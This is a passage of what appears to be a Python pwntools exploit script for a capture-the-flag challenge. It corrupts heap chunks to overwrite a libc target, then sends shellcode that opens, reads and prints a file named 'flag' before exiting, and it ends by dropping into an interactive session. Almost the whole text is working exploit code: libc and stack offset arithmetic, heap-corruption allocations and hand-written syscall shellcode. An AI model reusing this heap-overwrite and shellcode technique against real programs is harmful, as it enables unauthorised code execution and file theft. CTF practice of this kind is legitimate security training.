    libc_addr + 0x00000000000630a9,
    stack_addr - 0x18,
        ]) + shellcode + b'\n')

add(318325, flat([0, 0x71, libc_addr + 0x1ecb70-0x10]) + b'\n')
add(0, b'\n')
add(0, p64(libc_addr + 0x00000000000bb92c) + b'\n')

sh.sendlineafter(b'>> ', b'1')
sh.sendlineafter(b'Index: ', str(0).encode())
shellcode2 = asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')
sh.send(shellcode2)

sh.interactive()